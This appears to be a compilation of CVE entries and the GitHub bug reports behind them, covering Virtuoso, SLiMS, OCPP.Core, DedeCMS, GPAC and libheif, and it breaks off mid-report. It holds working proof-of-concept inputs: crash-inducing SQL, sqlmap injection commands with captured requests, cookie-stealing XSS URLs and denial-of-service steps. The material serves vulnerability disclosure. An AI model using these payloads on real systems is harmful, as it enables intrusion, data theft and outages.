```

Fuzzer: Virtuoso 7.2.11 crashed at box_add

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1173/comments

2023-11-14T15:09:37Z

2023-12-04T15:14:14Z

https://github.com/openlink/virtuoso-opensource/issues/1173

CVE-2023-48950

2023-11-29T20:15:08.033

An issue in the box_col_len function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

https://github.com/openlink/virtuoso-opensource/issues/1174

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE v0 ( v1 nvarchar ) ; INSERT INTO v0 VALUES ( 1 ) ; INSERT INTO v0 SELECT MAX ( DISTINCT v1 ) FROM v0 ; INSERT INTO v0 SELECT v1 FROM v0 WHERE ( SELECT ( SELECT v1 FROM v0 ) ) ; ``` backtrace: ```c #0 0x86df90 (box_col_len+0x90) #1 0x88c0af (key_vec_insert+0x9df) #2 0x7b679b (insert_node_run+0x8fb) #3 0x7b6b1c (insert_node_input+0x11c) #4 0x7af05e (qn_input+0x3ce) #5 0x7af78f (qn_ts_send_output+0x23f) #6 0x7b509e (table_source_input+0x16ee) #7 0x7af05e (qn_input+0x3ce) #8 0x7af4c6 (qn_send_output+0x236) #9 0x8214bd (set_ctr_vec_input+0x99d) #10 0x7af05e (qn_input+0x3ce) #11 0x7c1be9 (qr_dml_array_exec+0x839) #12 0x7ce602 (sf_sql_execute+0x15d2) #13 0x7cecde (sf_sql_execute_w+0x17e) #14 0x7d799d (sf_sql_execute_wrapper+0x3d) #15 0xe214bc (future_wrapper+0x3fc) #16 0xe28dbe (_thread_boot+0x11e) #17 0x7ff3d19ba609 (start_thread+0xd9) #18 0x7ff3d178a133 (clone+0x43) ``` ways to reproduce (write poc to the file /tmp/test.sql first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba ```

Fuzzer: Virtuoso 7.2.11 crashed at box_col_len

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1174/comments

2023-11-14T15:11:41Z

2023-11-20T16:30:19Z

https://github.com/openlink/virtuoso-opensource/issues/1174

CVE-2023-48951

2023-11-29T20:15:08.087

An issue in the box_equal function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

https://github.com/openlink/virtuoso-opensource/issues/1177

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE v0 ( v1 SMALLINT CHECK ( CONTAINS ( 'del' , 'reabbreviating' , 'diamonds' ) ) ) ; ``` backtrace: ```c #0 0xdeab6a (box_equal+0xba) #1 0x773df3 (sqlo_cname_ot+0x53) #2 0x6e0161 (sqlo_df+0x461) #3 0x6e0d6c (sqlo_df+0x106c) #4 0x6e067f (sqlo_df+0x97f) #5 0x70ea77 (sqlo_top_2+0x267) #6 0x70e4a5 (sqlo_top_1+0x135) #7 0x70ffa6 (sqlo_top_select+0x156) #8 0x6b9b6f (sql_stmt_comp+0x8bf) #9 0x6bc9d2 (sql_compile_1+0x1a62) #10 0x4e213f (ddl_table_check_constraints_define_triggers+0x1af) #11 0x4e462d (ddl_table_constraints+0xd0d) #12 0x4e5331 (sql_ddl_node_input_1+0xbc1) #13 0x4e57ee (sql_ddl_node_input+0x10e) #14 0x7bcb0b (ddl_node_input_1+0x19b) #15 0x7bd1e7 (qn_without_ac_at+0xc7) #16 0x7af05e (qn_input+0x3ce) #17 0x7c1be9 (qr_dml_array_exec+0x839) #18 0x7ce602 (sf_sql_execute+0x15d2) #19 0x7cecde (sf_sql_execute_w+0x17e) #20 0x7d799d (sf_sql_execute_wrapper+0x3d) #21 0xe214bc (future_wrapper+0x3fc) #22 0xe28dbe (_thread_boot+0x11e) #23 0x7f4182517609 (start_thread+0xd9) #24 0x7f41822e7133 (clone+0x43) ``` ways to reproduce (write poc to the file /tmp/test.sql first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba ```

Fuzzer: Virtuoso 7.2.11 crashed at box_equal

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1177/comments

2023-11-14T15:15:32Z

2023-11-20T16:29:31Z

https://github.com/openlink/virtuoso-opensource/issues/1177

CVE-2023-48952

2023-11-29T20:15:08.133

An issue in the box_deserialize_reusing function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

https://github.com/openlink/virtuoso-opensource/issues/1175

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE v0 ( v1 INT , v2 BIGINT PRIMARY KEY) ; INSERT INTO v0 VALUES ( 20 , -1 ) ; SELECT v1 + 77 , v2 FROM v0 UNION SELECT v2 , CASE WHEN 92 THEN 86 ELSE ( ( 32433852.000000 , 70038895.000000 ) , ( 64572024.000000 , 4442219.000000 ) ) END FROM v0 ORDER BY v2 + -1 * 40 ; ``` backtrace: ```c #0 0x876418 (box_deserialize_reusing+0x38) #1 0x87917e (sslr_qst_get+0x46e) #2 0x81f2f6 (select_node_input_vec+0x656) #3 0x7ba667 (select_node_input+0xa7) #4 0x7af05e (qn_input+0x3ce) #5 0x7af78f (qn_ts_send_output+0x23f) #6 0x7b509e (table_source_input+0x16ee) #7 0x7af05e (qn_input+0x3ce) #8 0x7af4c6 (qn_send_output+0x236) #9 0x7af05e (qn_input+0x3ce) #10 0x7af4c6 (qn_send_output+0x236) #11 0x8214bd (set_ctr_vec_input+0x99d) #12 0x7af05e (qn_input+0x3ce) #13 0x7c084b (qr_exec+0x11db) #14 0x7ce1d6 (sf_sql_execute+0x11a6) #15 0x7cecde (sf_sql_execute_w+0x17e) #16 0x7d799d (sf_sql_execute_wrapper+0x3d) #17 0xe214bc (future_wrapper+0x3fc) #18 0xe28dbe (_thread_boot+0x11e) #19 0x7fca3837c609 (start_thread+0xd9) #20 0x7fca3814c133 (clone+0x43) ``` ways to reproduce (write poc to the file /tmp/test.sql first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba ```

Fuzzer: Virtuoso 7.2.11 crashed at box_deserialize_reusing

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1175/comments

2023-11-14T15:13:36Z

2023-12-04T14:53:16Z

https://github.com/openlink/virtuoso-opensource/issues/1175

CVE-2023-48813

2023-12-01T16:15:07.487

Senayan Library Management Systems (Slims) 9 Bulian v9.6.1 is vulnerable to SQL Injection via admin/modules/reporting/customs/fines_report.php.

https://github.com/slims/slims9_bulian/issues/217

github.com

**Describe the bug** A SQL Injection exists in admin/modules/reporting/customs/fines_report.php at the code below ```php $selected_year = date('Y'); if (isset($_GET['year']) AND !empty($_GET['year'])) { $selected_year = (integer)$_GET['year']; } // month $selected_month = date('m'); if (isset($_GET['month']) AND !empty($_GET['month'])) { $selected_month = $_GET['month']; } // query fines data to database // echo "SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal`, `fines_id` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`"; $_fines_q = $dbs->query("SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`"); while ($_fines_d = $_fines_q->fetch_row()) { $date = (integer)preg_replace('@^0+@i', '',$_fines_d[0]); $fines_data[$date] = '<div class="data"><a href="'.AWB.'modules/reporting/customs/member_fines_list.php?reportView=true&singleDate=true&finesDate='.$selected_year.'-'.$selected_month.'-'.$date.'" class="notAJAX openPopUp" width="800" height="600" title="'.__('Member Fines List').'">'.currency($_fines_d[1]?:'0').'</a></div>'; } // generate calendar $output = simbio_date::generateCalendar($selected_year, $selected_month, $fines_data); // print out echo '<div class="mb-2">'.__('Fines count report for').' <strong>'.$months[$selected_month].', '.$selected_year.'</strong> <a class="s-btn btn btn-default printReport" onclick="window.print()" href="#">'.__('Print Current Page').'</a></div>'."\n"; echo $output; ``` **To Reproduce** Steps to reproduce the behavior: 1. Login as admin or user that has access to reportings/fines report 2. make sure burp suit is on to capture the request such as below: 3. save the request into a file (bredel.req) 4. run the test with sqlmao with the command `sqlmap -r bredel.req --level 5 --risk 3 -p month --dbms=mysql --current-user` **Proof-of-Concept** <img width="1440" alt="image" src="https://github.com/slims/slims9_bulian/assets/116742485/b09cb45d-610f-4880-a180-b6398f3b3fc7"> **bredel.req** ``` GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/fines_report.php?year=2020&month=06&applyFilter=Apply+Filter&reportView=true HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting Accept-Encoding: gzip, deflate, br Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7 Cookie: SenayanAdmin=0ejb8l7fhdhb1l8tltuvv5kl2n; admin_logged_in=1; SenayanMember=lsbmnom42kgsogjjvbfu1lrml8; csrftoken=hzryTvpMiKtoV1DPIYB8X31DZ69pidYh; wp-settings-time-1=1695891043; PHPSESSID=79fe03f30f50c62d5dec9aac767e1073 Connection: close ``` **Desktop (please complete the following information):** - Browser: Google Chrome | 115.0.5790.114 (Official Build) (x86_64) - Slims Version: slims9_bulian-9.6.1

[Security Bugs] SQL Injection at fines_report.php

https://api.github.com/repos/slims/slims9_bulian/issues/217/comments

2023-11-13T00:00:09Z

2023-11-13T00:00:09Z

https://github.com/slims/slims9_bulian/issues/217

CVE-2023-48893

2023-12-01T16:15:07.607

SLiMS (aka SENAYAN Library Management System) through 9.6.1 allows admin/modules/reporting/customs/staff_act.php SQL Injection via startDate or untilDate.

https://github.com/slims/slims9_bulian/issues/209

github.com

## The Bug A SQL Injection exists in `admin/modules/reporting/customs/staff_act.php` at the code below ```php // create datagrid $reportgrid = new report_datagrid(); $reportgrid->setSQLColumn('u.realname AS \''.__('Real Name').'\'', 'u.username AS \''.__('Login Username').'\'', 'u.user_id AS \''.__('Bibliography Data Entry').'\'', 'u.user_id AS \''.__('Item Data Entry').'\'', 'u.user_id AS \''.__('Member Data Entry').'\'', 'u.user_id AS \''.__('Loans').'\'', 'u.user_id AS \''.__('Returns').'\'', 'u.user_id AS \''.__('Extends').'\''); $reportgrid->setSQLorder('realname ASC'); // is there any search $criteria = 'user_id IS NOT NULL '; $reportgrid->setSQLCriteria($criteria); $start_date = '2000-01-01'; if (isset($_GET['startDate'])) { $start_date = $_GET['startDate']; // unsanitized input 1 } $until_date = date('Y-m-d'); if (isset($_GET['untilDate'])) { $until_date = $_GET['untilDate']; // unsanitized input 2 } ``` **To Reproduce** Steps to reproduce the behavior: 1. Login as admin or user that has access to Staff Activity Reporting 2. Make sure the burp is on to capture the request as below  3. Save the request into a file (example.req) 4. Run the test with sqlmap with the command ``` sqlmap command: sqlmap -r example.req --level 5 --risk 3 -p startDate --random-agent --dbms=mysql --current-user ``` 5. It's in  **example.req** ``` GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/staff_act.php?startDate=2000-01-01&untilDate=2023-08-2&applyFilter=Apply+Filter&reportView=true HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting Cookie: SenayanAdmin=68n7ojemg853g6ipos463oo2o2; admin_logged_in=1; SenayanMember=nva8k0bovrr32qckn46cs9u46h Upgrade-Insecure-Requests: 1 ``` ## Screenshots **proof-of-concept current user**  **Versions** - OS: Windows - Browser: Firefox | 116.0.3 (64-bit) - Slims Version: slims9_bulian-9.6.1 ## Notes

Vuln0wned Report: SQL Injection in staff_act.php

https://api.github.com/repos/slims/slims9_bulian/issues/209/comments

2023-09-01T09:36:16Z

2023-09-05T06:25:21Z

https://github.com/slims/slims9_bulian/issues/209

CVE-2023-49955

2023-12-07T13:15:07.690

An issue was discovered in Dalmann OCPP.Core before 1.2.0 for OCPP (Open Charge Point Protocol) for electric vehicles. It does not validate the length of the chargePointVendor field in a BootNotification message, potentially leading to server instability and a denial of service when processing excessively large inputs. NOTE: the vendor's perspective is "OCPP.Core is intended for use in a protected environment/network."

https://github.com/dallmann-consulting/OCPP.Core/issues/32

github.com

**Description of the possible vulnerability**: While performing black box testing on OCPP.Core on my local machine, I discovered a potential security vulnerability that might lead to a Denial of Service (DoS) attack. **Details**: - There appears to be no control over the length of the `chargePointVendor` property of the `BootNotification` OCPP message. According to the protocol specifications, the `maxLength` of this property should be 20 characters. - I conducted a test by sending a `BootNotification` message with a `chargePointVendor` length of 442 MB, resulting in the server crashing. **Attachments**: - I have attached a screenshot of the server logs that displays the behavior when the oversized `BootNotification` message was received. 

Possible DoS Vulnerability: No Control on length of 'chargePointVendor' property in 'BootNotification' OCPP message

https://api.github.com/repos/dallmann-consulting/OCPP.Core/issues/32/comments

2023-11-02T14:29:58Z

2023-11-30T19:19:39Z

https://github.com/dallmann-consulting/OCPP.Core/issues/32

CVE-2023-49956

2023-12-07T13:15:07.737

An issue was discovered in Dalmann OCPP.Core before 1.3.0 for OCPP (Open Charge Point Protocol) for electric vehicles. A StopTransaction message with any random transactionId terminates active transactions.

https://github.com/dallmann-consulting/OCPP.Core/issues/34

github.com

**Issue Description**: The server allows a `StopTransaction` message to stop an active transaction using a random `transactionId` instead of requiring the specific `transactionId` assigned at the start of the transaction. This could potentially lead to unauthorized stopping of transactions. **Steps to Reproduce**: 1. Start a transaction using `StartTransaction`, receiving a valid `transactionId`. 2. Send a `StopTransaction` message with a random `transactionId` instead of the one received in step 1. 3. Observe that the transaction is stopped by the server. **Expected Behavior**: The `StopTransaction` message should be validated to ensure it includes the correct `transactionId` that was assigned at the start of the transaction, thereby binding the user to the specific transaction being stopped. **Actual Behavior**: The server stops an active transaction when a `StopTransaction` message is sent with any random `transactionId`. **Suggested Solution**: Implement strict validation on the server to only stop transactions when the `StopTransaction` message contains the correct `transactionId` provided at the beginning of the transaction. I look forward to your input on this matter. Best regards, Gaetano Coppoletta

`StopTransaction`: a Transaction Can Be Stopped with Random Transaction ID

https://api.github.com/repos/dallmann-consulting/OCPP.Core/issues/34/comments

2023-11-06T18:54:32Z

2023-12-06T16:02:05Z

https://github.com/dallmann-consulting/OCPP.Core/issues/34

CVE-2023-49957

2023-12-07T13:15:07.790

An issue was discovered in Dalmann OCPP.Core before 1.3.0 for OCPP (Open Charge Point Protocol) for electric vehicles. It permits multiple transactions with the same connectorId and idTag, contrary to the expected ConcurrentTx status. This could result in critical transaction management and billing errors. NOTE: the vendor's perspective is "Imagine you've got two cars in your family and want to charge both in parallel on the same account/token? Why should that be rejected?"

https://github.com/dallmann-consulting/OCPP.Core/issues/35

github.com

**Issue Description**: The current implementation of the OCPP server does not adhere to the specified behavior in the OCPP documentation regarding concurrent transactions. The documentation states that if an `idTag` is already involved in an active transaction, any attempt to initiate a new transaction with the same `idTag` should result in an `AuthorizationStatus` of `ConcurrentTx`. However, I've observed two issues: 1. The server allows initiation of multiple transactions using the same `idTag` without the `ConcurrentTx` status. 2. A `StopTransaction` message with a random `transactionId` can stop the current transaction. **Steps to Reproduce**: 1. Send a `StartTransaction` message using a specific `idTag`. 2. While the transaction is active, send another `StartTransaction` message with the same `idTag`. 3. Observe that the server does not return an `AuthorizationStatus` of `ConcurrentTx`. 4. Send a `StopTransaction` message with a random `transactionId`. 5. Note that the server stops the most recent transaction. **Expected Behavior**: In compliance with the OCPP specification, the server should not allow a new transaction to start with an `idTag` that is already in use for an ongoing transaction. The server should issue an `AuthorizationStatus` of `ConcurrentTx`. **Actual Behavior**: Multiple transactions are allowed for the same `idTag` without returning a `ConcurrentTx` status, and transactions can be stopped using random `transactionIds`. **Potential Impact**: This could cause a critical error in transaction management and billing processes, affecting operational integrity. **Suggested Solution**: - Update the server logic to return an `AuthorizationStatus` of `ConcurrentTx` for `StartTransaction` requests that involve an `idTag` in an ongoing transaction. - Validate `transactionId` in `StopTransaction` requests to ensure the correct transaction is being stopped. Best regards, Gaetano Coppoletta

Multiple Transactions Allowed with Same connectorId and idTag

https://api.github.com/repos/dallmann-consulting/OCPP.Core/issues/35/comments

2023-11-06T19:01:50Z

2023-12-06T16:03:55Z

https://github.com/dallmann-consulting/OCPP.Core/issues/35

CVE-2023-49958

2023-12-07T13:15:07.833

An issue was discovered in Dalmann OCPP.Core through 1.2.0 for OCPP (Open Charge Point Protocol) for electric vehicles. The server processes mishandle StartTransaction messages containing additional, arbitrary properties, or duplicate properties. The last occurrence of a duplicate property is accepted. This could be exploited to alter transaction records or impact system integrity.

https://github.com/dallmann-consulting/OCPP.Core/issues/36

github.com

**Issue Description**: The server accepts additional, arbitrary properties in the `StartTransaction` message, and when duplicate properties are provided, it accepts the last occurrence without validation. For example, a message with two different `connectorId` properties is processed using the value of the last one. **Steps to Reproduce**: 1. Send a `StartTransaction` message with a custom additional property. 2. Send a `StartTransaction` message with duplicate properties, such as two different `connectorId` values. 3. Observe that the server accepts the message and processes it based on the last occurrence of the duplicate property. **Expected Behavior**: The server should either reject messages with unknown additional properties. For duplicate properties, it should reject the message. **Actual Behavior**: The server stores the value from the last occurrence of a duplicate property in the `StartTransaction` message, leading to potential misconfigurations. **Potential Impact**: Accepting additional and duplicate properties without validation may lead to unpredictable system behavior and could be exploited to alter transaction records or impact system integrity. Best regards, Gaetano Coppoletta

Unvalidated Acceptance of Additional and Duplicate Properties in `StartTransaction` Message

https://api.github.com/repos/dallmann-consulting/OCPP.Core/issues/36/comments

2023-11-06T19:10:53Z

2023-12-28T12:59:10Z

https://github.com/dallmann-consulting/OCPP.Core/issues/36

CVE-2023-49492

2023-12-07T16:15:07.587

DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the imgstick parameter at selectimages.php.

https://github.com/Hebing123/cve/issues/2

github.com

**Description** DedeCMS-V5.7.111 has Reflective XSS vulnerabilities in imgstick and v parameters of selectimages.php **Proof of Concept** http://192.168.160.132:1434/uploads/include/dialog/select_images.php?activepath=/uploads/uploads/allimg&f=form1.pic1&imgstick=smallundefined%27%3E%3CScRiPt%20%3Ealert(document.cookie)%3C/ScRiPt%3E//  http://192.168.160.132:1434/uploads/include/dialog/select_images.php?activepath=/uploads/uploads/allimg&f=form1.pic1&imgstick=smallundefined&noeditor=yes&v=picview%3CScRiPt%20%3Ealert(document.cookie)%3C/ScRiPt%3E  Reflective XSS vulnerability in imgstick and v parameters of select_images.php **Impact** Reflective XSS vulnerability triggered by administrator accessing the link.

DedeCMS-V5.7.111 Reflective XSS vulnerability

https://api.github.com/repos/Hebing123/cve/issues/2/comments

2023-11-23T10:03:34Z

2024-05-14T09:53:12Z

https://github.com/Hebing123/cve/issues/2

CVE-2023-46871

2023-12-07T18:15:08.030

GPAC version 2.3-DEV-rev602-ged8424300-master in MP4Box contains a memory leak in NewSFDouble scenegraph/vrml_tools.c:300. This vulnerability may lead to a denial of service.

https://github.com/gpac/gpac/issues/2658

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [ ] I looked for a similar issue and couldn't find any. - [ ] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [ ] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/bug-reporting/ 1、version ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev602-ged8424300-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D 2、platform uname -a Linux returnzero-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct 6 10:23:26 UTC 2 x86_64 x86_64 x86_64 GNU/Linux 3、Reproduce ./MP4Box -bt $poc 4、ASCAN ./MP4Box -bt '/home/returnzero/gpac/out/default/crashes/id:000000,sig:06,src:000008,time:167295,execs:4216,op:havoc,rep:6' [iso file] extra box maxr found in hinf, deleting [iso file] Unknown box type traI in parent moov [iso file] Box "stss" (start 9939) has 32 extra bytes [iso file] extra box maxr found in hinf, deleting [iso file] Track with no sample description box ! [iso file] Incomplete box mdat - start 11495 size 861217 [iso file] Incomplete file while reading for dump - aborting parsing [iso file] extra box maxr found in hinf, deleting [iso file] Unknown box type traI in parent moov [iso file] Box "stss" (start 9939) has 32 extra bytes [iso file] extra box maxr found in hinf, deleting [iso file] Track with no sample description box ! [iso file] Incomplete box mdat - start 11495 size 861217 [iso file] Incomplete file while reading for dump - aborting parsing MPEG-4 BIFS Scene Parsing [MP4 Loading] decoding sample 1 from track ID 8 failed Error loading scene: BitStream Not Compliant Error: BitStream Not Compliant ================================================================= ==3703==ERROR: LeakSanitizer: detected memory leaks Direct leak of 8 byte(s) in 1 object(s) allocated from: #0 0x7f0d974b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x7f0d95d38b3b in NewSFDouble scenegraph/vrml_tools.c:300 #2 0x7f0d95d38b3b in gf_sg_vrml_field_pointer_new scenegraph/vrml_tools.c:558 SUMMARY: AddressSanitizer: 8 byte(s) leaked in 1 allocation(s). 5、Impact This vulnerability allows a remote attacker to cause a denial of service on an affected gpac MP4Box. Exploiting this vulnerability requires user interaction, as the target must access a malicious page or open a malicious file. 6、poc https://github.com/ReturnHere/CrashReport/blob/main/id%5E%25000000%2Csig%5E%2506%2Csrc%5E%25000008%2Ctime%5E%25167295%2Cexecs%5E%254216%2Cop%5E%25havoc%2Crep%5E%256

Memory leaks in NewSFDouble scenegraph/vrml_tools.c:300

https://api.github.com/repos/gpac/gpac/issues/2658/comments

2023-10-23T06:39:49Z

2023-12-09T11:54:02Z

https://github.com/gpac/gpac/issues/2658

CVE-2023-48958

2023-12-07T18:15:08.130

gpac 2.3-DEV-rev617-g671976fcc-master contains memory leaks in gf_mpd_resolve_url media_tools/mpd.c:4589.

https://github.com/gpac/gpac/issues/2689

github.com

1、Version ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io/ Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D 2、ASAN Log [DASH] Updated manifest: P#1: start 0 - duration 0 - xlink none [DASH] Manifest after update: P#1: start 0 - duration 0 - xlink none [DASH] Setting up period start 0 duration 0 xlink none ID DID1 [DASH] Cannot compute default segment duration [DASH] AS#1 changed quality to bitrate 10 kbps - Width 1280 Height 720 FPS 30/1 (playback speed 1) [DASH] AS#2 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1) [DASH] AS#3 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1) [DASH] AS#4 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1) [DASH] AS#5 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1) [DASH] AS#6 changed quality to bitrate 120 kbps - Width 384 Height 208 FPS 30/1 (playback speed 1) [DASH] AS#7 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1) [DASH] AS#8 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07) [DASH] No ROUTE entity on HTTP request [DASH] Segment duration unknown - cannot estimate current startNumber [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07) [DASH] Unable to resolve initialization URL: Bad Parameter Filter dashin failed to setup: Bad Parameter Filters not connected: fout (dst=crash24_dash.mpd:gpac:segdur=10000/1000:profile=full:!sap:buf=1500:!check_dur:pssh=v:subs_sidx=0) (idx=1) Arg segdur set but not used Arg profile set but not used Arg !sap set but not used Arg buf set but not used Arg !check_dur set but not used Arg pssh set but not used Arg subs_sidx set but not used Error DASHing file: Bad Parameter ================================================================= ==3766==ERROR: LeakSanitizer: detected memory leaks Direct leak of 50 byte(s) in 1 object(s) allocated from: #0 0x7f8f1245b9a7 in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cpp:454 #1 0x7f8f112d489f in gf_mpd_resolve_url media_tools/mpd.c:4589 #2 0x7f8f11303e24 in gf_dash_resolve_url media_tools/dash_client.c:3447 SUMMARY: AddressSanitizer: 50 byte(s) leaked in 1 allocation(s). 3、Reproduction ./MP4Box -dash 10000 $poc 4、poc [crash24.zip](https://www.mediafire.com/file/1sbsks4tzvzf1r3/crash24.zip/file) 5、Impact This vulnerability is capable of causing crashes, or lead to dos. 6、 Env Linux dr0v-virtual-machine 6.2.0-36-generic https://github.com/gpac/gpac/issues/37~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 9 15:34:04 UTC 2 x86_64 x86_64 x86_64 GNU/Linux AFL++ 4.09a 7、Credit dr0v

LeakSanitizer: detected memory leaks in in gf_mpd_resolve_url media_tools/mpd.c:4589

https://api.github.com/repos/gpac/gpac/issues/2689/comments

2023-11-16T01:53:56Z

2023-11-16T10:21:02Z

https://github.com/gpac/gpac/issues/2689

CVE-2023-49460

2023-12-07T20:15:38.140

libheif v1.17.5 was discovered to contain a segmentation violation via the function UncompressedImageCodec::decode_uncompressed_image.

https://github.com/strukturag/libheif/issues/1046

github.com

### Description AddressSanitizer: SEGV in `decode_uncompressed_image` ### Version ``` commit: 64ece913266609789f5dc70fe7de9eb759badd7f heif-convert libheif version: 1.17.5 ------------------------------------------- Usage: heif-convert [options] <input-image> [output-image] The program determines the output file format from the output filename suffix. These suffixes are recognized: jpg, jpeg, png, y4m. If no output filename is specified, 'jpg' is used. Options: -h, --help show help -v, --version show version -q, --quality quality (for JPEG output) -o, --output FILENAME write output to FILENAME (optional) -d, --decoder ID use a specific decoder (see --list-decoders) --with-aux also write auxiliary images (e.g. depth images) --with-xmp write XMP metadata to file (output filename with .xmp suffix) --with-exif write EXIF metadata to file (output filename with .exif suffix) --skip-exif-offset skip EXIF metadata offset bytes --no-colons replace ':' characters in auxiliary image filenames with '_' --list-decoders list all available decoders (built-in 